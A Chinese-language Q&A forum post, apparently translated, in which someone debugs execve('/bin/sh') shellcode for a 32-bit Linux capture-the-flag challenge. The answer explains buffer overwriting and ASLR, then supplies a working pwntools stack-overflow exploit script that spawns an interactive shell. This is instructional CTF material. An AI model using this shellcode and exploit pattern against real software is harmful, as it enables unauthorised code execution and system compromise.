Shellcode 挑战 - Shellcode 在测试程序中工作,在实际二进制文件中出现段错误

逆向工程 外壳代码
2021-06-13 08:22:00

目前正在解决一个介绍性的 shellcoding 挑战,并且无法让 shellcode 一致地工作。

我正在研究 32 位 Linux 二进制文件。我找到了这个shellcode:

http://shell-storm.org/shellcode/files/shellcode-827.php

xor    %eax,%eax
push   %eax
push   $0x68732f2f
push   $0x6e69622f
mov    %esp,%ebx
push   %eax
push   %ebx
mov    %esp,%ecx
mov    $0xb,%al
int    $0x80

作为第一步,我在一个简单的测试程序中运行了 shellcode:

#include<stdio.h>
#include<string.h>

unsigned char code[] = \ 
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

main()
{
    printf("Shellcode length: %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

Shellcode 在这个测试程序中完美运行。当我将 shellcode 移动到实际的挑战二进制文件中时,问题就开始了。我可以在 GDB 中确认:

  1. 代码执行被重定向到堆栈中。
  2. shellcode 程序集在堆栈中是正确的。

但是,当程序执行到 shellcode 中的这两行之一时:

0xffffd0e4:    push       %ebx
0xffffd0e5:    mov        %esp,%ecx

我得到:

SIGSEGV, Segmentation fault

我的问题是:为什么在测试程序中工作的 shellcode 在实际二进制文件中失败?我将如何解决这个问题?

谢谢!

1个回答

看起来你有两个问题。

1)您正在用那些push-es覆盖您的输入缓冲区,因此为什么堆栈上有一些垃圾,这就是我们的应用程序崩溃的原因。

请参阅这两张图片,这些图片显示了对 /bin/sh 执行第二次推送之前和之后的程序集

在此处输入图片说明

在此处输入图片说明

您可以清楚地看到奇数dasbound操作码而不是pushes。

2)您没有考虑到代码被重新定位,因此您的缓冲区并不总是在同一个地方。当您运行时,gdb您的代码将跳转到缓冲区的开头(这是部分\xc0\xd0\xff\xff)并且对于您的gdb会话,这是正确的,因为gdb关闭了ASLR

您可以通过在以下命令中发出此命令来检查gdb

gdb-peda$ show disable-randomization
禁用调试对象的虚拟地址空间的随机化已打开。

如果您更改它,set disable-randomization off它也应该开始失败,gdb因为缓冲区每次都将位于不同的位置。

为了正确执行此操作,您需要找到缓冲区的位置。这也是为什么您在第一条消息中的位置有提示的原因。

为了弥补这两个问题,我会为此使用pwntools并准备一个脚本:

from pwn import *

context(arch='i386', os='linux')

r = process('./shellcoding.dms')
# read the line that has the info about the address
l = r.recvline()
print l
# extract it
addr = int(l[18:], 16)
#nop sled at the end but not actually needed. We only need to fill the space for the buffer to overwrite the ret
exploit = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"+"\x90"*21 
print "Address is: "+hex(addr)
# add an address to be taken from the stack by ret
exploit += p32(addr) 

r.send(exploit+"\n")
# read the "ok... lets see if you got it..." message
r.recvline()
r.interactive() #pwn

运行这个应该有效!